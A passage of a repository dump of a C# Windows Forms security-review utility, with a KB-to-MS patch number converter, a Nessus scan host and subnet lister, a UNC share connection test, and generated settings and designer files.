42 | 43 | public string AssemblyVersion 44 | { 45 | get 46 | { 47 | return Assembly.GetExecutingAssembly().GetName().Version.ToString(); 48 | } 49 | } 50 | 51 | public string AssemblyDescription 52 | { 53 | get 54 | { 55 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyDescriptionAttribute), false); 56 | if (attributes.Length == 0) 57 | { 58 | return ""; 59 | } 60 | return ((AssemblyDescriptionAttribute)attributes[0]).Description; 61 | } 62 | } 63 | 64 | public string AssemblyProduct 65 | { 66 | get 67 | { 68 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyProductAttribute), false); 69 | if (attributes.Length == 0) 70 | { 71 | return ""; 72 | } 73 | return ((AssemblyProductAttribute)attributes[0]).Product; 74 | } 75 | } 76 | 77 | public string AssemblyCopyright 78 | { 79 | get 80 | { 81 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCopyrightAttribute), false); 82 | if (attributes.Length == 0) 83 | { 84 | return ""; 85 | } 86 | return ((AssemblyCopyrightAttribute)attributes[0]).Copyright; 87 | } 88 | } 89 | 90 | public string AssemblyCompany 91 | { 92 | get 93 | { 94 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCompanyAttribute), false); 95 | if (attributes.Length == 0) 96 | { 97 | return ""; 98 | } 99 | return ((AssemblyCompanyAttribute)attributes[0]).Company; 100 | } 101 | } 102 | #endregion 103 | 104 | private void okButton_Click(object sender, EventArgs e) 105 | { 106 | Close(); 107 | } 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Forms/KB2MS_Form.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace RemoteBuildReview 2 | { 3 | partial class Targetslist 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.kbs = new System.Windows.Forms.RichTextBox(); 32 | this.label1 = new System.Windows.Forms.Label(); 33 | this.button1 = new System.Windows.Forms.Button(); 34 | this.button2 = new System.Windows.Forms.Button(); 35 | this.label2 = new System.Windows.Forms.Label(); 36 | this.SuspendLayout(); 37 | // 38 | // kbs 39 | // 40 | this.kbs.Location = new System.Drawing.Point(12, 44); 41 | this.kbs.Name = "kbs"; 42 | this.kbs.Size = new System.Drawing.Size(260, 154); 43 | this.kbs.TabIndex = 0; 44 | this.kbs.Text = ""; 45 | // 46 | // label1 47 | // 48 | this.label1.AutoSize = true; 49 | this.label1.Location = new System.Drawing.Point(37, 28); 50 | this.label1.Name = "label1"; 51 | this.label1.Size = new System.Drawing.Size(198, 13); 52 | this.label1.TabIndex = 1; 53 | this.label1.Text = "Enter Patches Below (One entry per line)"; 54 | // 55 | // button1 56 | // 57 | this.button1.Location = new System.Drawing.Point(40, 204); 58 | this.button1.Name = "button1"; 59 | this.button1.Size = new System.Drawing.Size(75, 23); 60 | this.button1.TabIndex = 2; 61 | this.button1.Text = "Convert"; 62 | this.button1.UseVisualStyleBackColor = true; 63 | this.button1.Click += new System.EventHandler(this.button1_Click); 64 | // 65 | // button2 66 | // 67 | this.button2.Location = new System.Drawing.Point(163, 204); 68 | this.button2.Name = "button2"; 69 | this.button2.Size = new System.Drawing.Size(75, 23); 70 | this.button2.TabIndex = 3; 71 | this.button2.Text = "Exit"; 72 | this.button2.UseVisualStyleBackColor = true; 73 | this.button2.Click += new System.EventHandler(this.button2_Click); 74 | // 75 | // label2 76 | // 77 | this.label2.AutoSize = true; 78 | this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 79 | this.label2.Location = new System.Drawing.Point(47, -1); 80 | this.label2.Name = "label2"; 81 | this.label2.Size = new System.Drawing.Size(188, 16); 82 | this.label2.TabIndex = 4; 83 | this.label2.Text = "KB to MS Patch Converter!"; 84 | // 85 | // KB2MS_Form 86 | // 87 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 88 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 89 | this.ClientSize = new System.Drawing.Size(284, 233); 90 | this.Controls.Add(this.label2); 91 | this.Controls.Add(this.button2); 92 | this.Controls.Add(this.button1); 93 | this.Controls.Add(this.label1); 94 | this.Controls.Add(this.kbs); 95 | this.Name = "KB2MS_Form"; 96 | this.Text = "KB to MS Patch Converter"; 97 | this.ResumeLayout(false); 98 | this.PerformLayout(); 99 | 100 | } 101 | 102 | #endregion 103 | 104 | private System.Windows.Forms.RichTextBox kbs; 105 | private System.Windows.Forms.Label label1; 106 | private System.Windows.Forms.Button button1; 107 | private System.Windows.Forms.Button button2; 108 | private System.Windows.Forms.Label label2; 109 | } 110 | } -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Forms/KB2MS_Form.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Collections.Generic; 4 | using System.ComponentModel; 5 | using System.Data; 6 | using System.Drawing; 7 | using System.Linq; 8 | using System.Text; 9 | using System.Windows.Forms; 10 | using System.Xml; 11 | using System.Collections; 12 | 13 | namespace RemoteBuildReview 14 | { 15 | public partial class Targetslist : Form 16 | { 17 | public Targetslist() 18 | { 19 | InitializeComponent(); 20 | } 21 | 22 | private void button1_Click(object sender, EventArgs e) 23 | { 24 | string kb = ""; 25 | string ms = "MS Number Not Found!"; 26 | 27 | string currentDir = Environment.CurrentDirectory; 28 | DirectoryInfo directory = new DirectoryInfo(currentDir); 29 | FileInfo file = new FileInfo("KB2MS.xml"); 30 | string fullDirectory = directory.FullName; 31 | string fullFile = file.FullName; 32 | if (!fullFile.StartsWith(fullDirectory)) 33 | { 34 | //kbs.Text = kbs.Text + fullDirectory + "\r\n"; 35 | //kbs.Text = kbs.Text + fullFile + "\r\n"; 36 | kbs.Text = kbs.Text + "Unable to make relative path"; 37 | } 38 | ArrayList patches = new ArrayList(); 39 | foreach (string line in kbs.Lines) 40 | { 41 | kb = line.ToString(); 42 | XmlReader reader = XmlReader.Create(fullFile); 43 | while (reader.Read()) 44 | { 45 | if ((reader.NodeType == XmlNodeType.Element) && (reader.Name == "patch")) 46 | { 47 | if (reader.HasAttributes) 48 | { 49 | if (reader.GetAttribute("kbnumber") == kb) 50 | { 51 | ms = reader.GetAttribute("msnumber").ToString(); 52 | patches.Add(ms); 53 | } 54 | 55 | } 56 | } 57 | } 58 | //kbs.Text = kbs.Text + kb + "\r\n"; 59 | ms = "MS Number Not Found!"; 60 | } 61 | 62 | patches.Sort(); 63 | patches.Reverse(); 64 | kbs.Text = kbs.Text + "Corresponsding MS Numbers\r\n"; 65 | kbs.Text = kbs.Text + "==========================\r\n"; 66 | foreach (string s in patches) 67 | { 68 | kbs.Text = kbs.Text + s + "\r\n"; 69 | } 70 | } 71 | 72 | private void button2_Click(object sender, EventArgs e) 73 | { 74 | Close(); 75 | } 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Forms/Listtargets.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.IO; 7 | using System.Linq; 8 | using System.Text; 9 | using System.Xml; 10 | using System.Xml.Linq; 11 | using System.Diagnostics; 12 | using System.Windows.Forms; 13 | using System.Security.Permissions; 14 | using System.Security; 15 | using Novacode; 16 | using System.Text.RegularExpressions; 17 | 18 | 19 | namespace RemoteBuildReview 20 | { 21 | public partial class Listtargets : Form 22 | { 23 | public Listtargets() 24 | { 25 | InitializeComponent(); 26 | } 27 | 28 | 29 | private void button1_Click(object sender, EventArgs e) 30 | { 31 | DataSet1 testdataset = new DataSet1(); 32 | 33 | //open file code 34 | openFileDialog1.Filter = "nessus files (*.nessus)|*.nessus|All files (*.*)|*.*"; 35 | openFileDialog1.InitialDirectory = @"C:\"; 36 | openFileDialog1.Title = "Please select a nessus file to open."; 37 | if (openFileDialog1.ShowDialog() == DialogResult.OK) 38 | { 39 | foreach (String file in openFileDialog1.FileNames) 40 | { 41 | // Create a PictureBox. 42 | try 43 | { 44 | //open nessus file 45 | XDocument xml = XDocument.Load(file); 46 | 47 | //for each report host that is high 48 | var queryhosts = from p in xml.Elements("NessusClientData_v2").Elements("Report").Elements("ReportHost") 49 | select p; 50 | foreach (var record in queryhosts) 51 | { 52 | string hostname = record.Attribute("name").Value; 53 | if (!testedtargets.Items.Contains(hostname)) 54 | { 55 | testedtargets.Items.Add(hostname); 56 | } 57 | 58 | } 59 | string totalcount = testedtargets.Items.Count.ToString(); 60 | totaltargetstested.Text = totalcount; 61 | 62 | } 63 | catch (SecurityException ex) 64 | { 65 | // The user lacks appropriate permissions to read files, discover paths, etc. 66 | MessageBox.Show("Security error. Please contact your administrator for details.\n\n" + 67 | "Error message: " + ex.Message + "\n\n" + 68 | "Details (send to Support):\n\n" + ex.StackTrace 69 | ); 70 | } 71 | catch (Exception ex) 72 | { 73 | // Could not load the image - probably related to Windows file system permissions. 74 | MessageBox.Show("Cannot display the image: " + file.Substring(file.LastIndexOf('\\')) 75 | + ". You may not have permission to read the file, or " + 76 | "it may be corrupt.\n\nReported error: " + ex.Message); 77 | } 78 | } 79 | 80 | } 81 | 82 | else 83 | { 84 | MessageBox.Show("No file selected"); 85 | return; 86 | } 87 | 88 | 89 | 90 | 91 | 92 | foreach (string o in testedtargets.Items) 93 | { 94 | 95 | Match match2 = Regex.Match(o, @"\d{1,3}\.\d{1,3}\.\d{1,3}"); 96 | 97 | if (match2.Success) 98 | { 99 | if (!subnets.Items.Contains(match2 + ".0/24")) 100 | { 101 | subnets.Items.Add(match2 + ".0/24"); 102 | } 103 | } 104 | } 105 | 106 | 107 | } 108 | 109 | 110 | 111 | private void button2_Click(object sender, EventArgs e) 112 | { 113 | for (int i = 0; i < testedtargets.Items.Count; i++) 114 | { 115 | testedtargets.SetSelected(i, true); 116 | } 117 | string s = ""; 118 | foreach (object o in testedtargets.SelectedItems) 119 | { 120 | s += o.ToString() + " "; 121 | } 122 | Clipboard.SetText(s); 123 | } 124 | 125 | private void button3_Click(object sender, EventArgs e) 126 | { 127 | for (int i = 0; i < subnets.Items.Count; i++) 128 | { 129 | subnets.SetSelected(i, true); 130 | } 131 | string s = ""; 132 | foreach (object o in subnets.SelectedItems) 133 | { 134 | s += o.ToString() + " "; 135 | } 136 | Clipboard.SetText(s); 137 | } 138 | } 139 | } 140 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Forms/TestConnect.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | using System.IO; 9 | 10 | namespace RemoteBuildReview 11 | { 12 | public partial class TestConnect : Form 13 | { 14 | public TestConnect() 15 | { 16 | InitializeComponent(); 17 | } 18 | 19 | private void btnConnect_Click(object sender, EventArgs e) 20 | { 21 | this.Cursor = Cursors.WaitCursor; 22 | Application.DoEvents(); 23 | string[] dirs; 24 | using (UNCAccessWithCredentials unc = new UNCAccessWithCredentials()) 25 | { 26 | if (unc.NetUseWithCredentials(tbUNCPath.Text, 27 | tbUserName.Text, 28 | tbDomain.Text, 29 | tbPassword.Text)) 30 | { 31 | dirs = Directory.GetDirectories(tbUNCPath.Text); 32 | foreach (string d in dirs) 33 | { 34 | tbDirList.Text += d + "\r\n"; 35 | } 36 | } 37 | else 38 | { 39 | this.Cursor = Cursors.Default; 40 | MessageBox.Show("Failed to connect to " + tbUNCPath.Text + "\r\nLastError = " + unc.LastError.ToString(), 41 | "Failed to connect", 42 | MessageBoxButtons.OK, 43 | MessageBoxIcon.Error); 44 | } 45 | 46 | } 47 | this.Cursor = Cursors.Default; 48 | } 49 | } 50 | } -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Properties/._AssemblyInfo.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/Properties/._AssemblyInfo.cs -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Properties/._Resources.Designer.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/Properties/._Resources.Designer.cs -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Properties/._Resources.resx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/Properties/._Resources.resx -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Properties/._Settings.Designer.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/Properties/._Settings.Designer.cs -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Properties/._Settings.settings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/Properties/._Settings.settings -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("RemoteBuildReview")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("RemoteBuildReview")] 13 | [assembly: AssemblyCopyright("Copyright © 2012")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("fa671826-7830-45cf-a6e2-51bff8a2e790")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.18444 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace RemoteBuildReview.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("RemoteBuildReview.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Looks up a localized resource of type System.Drawing.Bitmap. 65 | /// 66 | internal static System.Drawing.Bitmap HP_Logo { 67 | get { 68 | object obj = ResourceManager.GetObject("HP-Logo", resourceCulture); 69 | return ((System.Drawing.Bitmap)(obj)); 70 | } 71 | } 72 | 73 | /// 74 | /// Looks up a localized resource of type System.Drawing.Bitmap. 75 | /// 76 | internal static System.Drawing.Bitmap HP_Logo1 { 77 | get { 78 | object obj = ResourceManager.GetObject("HP-Logo1", resourceCulture); 79 | return ((System.Drawing.Bitmap)(obj)); 80 | } 81 | } 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.18444 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace RemoteBuildReview.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | 26 | [global::System.Configuration.UserScopedSettingAttribute()] 27 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 28 | [global::System.Configuration.DefaultSettingValueAttribute("")] 29 | public string LastUsedIP { 30 | get { 31 | return ((string)(this["LastUsedIP"])); 32 | } 33 | set { 34 | this["LastUsedIP"] = value; 35 | } 36 | } 37 | 38 | [global::System.Configuration.UserScopedSettingAttribute()] 39 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 40 | [global::System.Configuration.DefaultSettingValueAttribute("0, 0")] 41 | public global::System.Drawing.Point WindowLocation { 42 | get { 43 | return ((global::System.Drawing.Point)(this["WindowLocation"])); 44 | } 45 | set { 46 | this["WindowLocation"] = value; 47 | } 48 | } 49 | 50 | [global::System.Configuration.UserScopedSettingAttribute()] 51 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 52 | [global::System.Configuration.DefaultSettingValueAttribute("")] 53 | public string Username { 54 | get { 55 | return ((string)(this["Username"])); 56 | } 57 | set { 58 | this["Username"] = value; 59 | } 60 | } 61 | 62 | [global::System.Configuration.UserScopedSettingAttribute()] 63 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 64 | [global::System.Configuration.DefaultSettingValueAttribute("")] 65 | public string Command { 66 | get { 67 | return ((string)(this["Command"])); 68 | } 69 | set { 70 | this["Command"] = value; 71 | } 72 | } 73 | 74 | [global::System.Configuration.UserScopedSettingAttribute()] 75 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 76 | [global::System.Configuration.DefaultSettingValueAttribute("1062, 765")] 77 | public global::System.Drawing.Size WindowSize { 78 | get { 79 | return ((global::System.Drawing.Size)(this["WindowSize"])); 80 | } 81 | set { 82 | this["WindowSize"] = value; 83 | } 84 | } 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 0, 0 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 1062, 765 19 | 20 | 21 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Resources/._HP-Logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/Resources/._HP-Logo.jpg -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Resources/._HP-Logo1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/Resources/._HP-Logo1.jpg -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Resources/HP-Logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/Resources/HP-Logo.jpg -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/Resources/HP-Logo1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/Resources/HP-Logo1.jpg -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/ServerGUIApp.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | publish\ 5 | 6 | 7 | 8 | 9 | 10 | en-US 11 | false 12 | 13 | 14 | false 15 | 16 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |
6 |
7 | 8 | 9 | 10 | 11 | 12 | 0, 0 13 | 14 | 15 | 0, 0 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 0, 0 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 1062, 765 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/bin/Release/DocX.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/bin/Release/DocX.dll -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/bin/Release/RemoteBuildReview.application: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | WbNWaEUYinSPyb30I73Eej0KUQs= 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/bin/Release/RemoteBuildReview.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/bin/Release/RemoteBuildReview.exe -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/bin/Release/RemoteBuildReview.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |
6 |
7 | 8 | 9 | 10 | 11 | 12 | 0, 0 13 | 14 | 15 | 0, 0 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 0, 0 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 1062, 765 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/bin/Release/RemoteBuildReview.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/bin/Release/RemoteBuildReview.pdb -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/bin/Release/RemoteBuildReview.vshost.application: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | WbNWaEUYinSPyb30I73Eej0KUQs= 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/bin/Release/RemoteBuildReview.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/bin/Release/RemoteBuildReview.vshost.exe -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/bin/Release/RemoteBuildReview.vshost.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |
6 |
7 | 8 | 9 | 10 | 11 | 12 | 0, 0 13 | 14 | 15 | 0, 0 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 0, 0 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 1062, 765 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/bin/Release/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |
6 |
7 | 8 | 9 | 10 | 11 | 12 | 0, 0 13 | 14 | 15 | 0, 0 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 0, 0 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 1062, 765 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/bin/Release/rbr.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/bin/Release/rbr.exe -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/hashme.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/hashme.exe -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/obj/._x86: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/obj/._x86 -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/obj/Release/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/obj/Release/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/obj/Release/RemoteBuildReview.About.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/obj/Release/RemoteBuildReview.About.resources -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/obj/Release/RemoteBuildReview.Form1.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/obj/Release/RemoteBuildReview.Form1.resources -------------------------------------------------------------------------------- /Projects/RemoteBuildReview/RemoteBuildReview/obj/Release/RemoteBuildReview.Listtargets.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/Projects/RemoteBuildReview/RemoteBuildReview/obj/Release/RemoteBuildReview.Listtargets.resources -------------------------------------------------------------------------------- 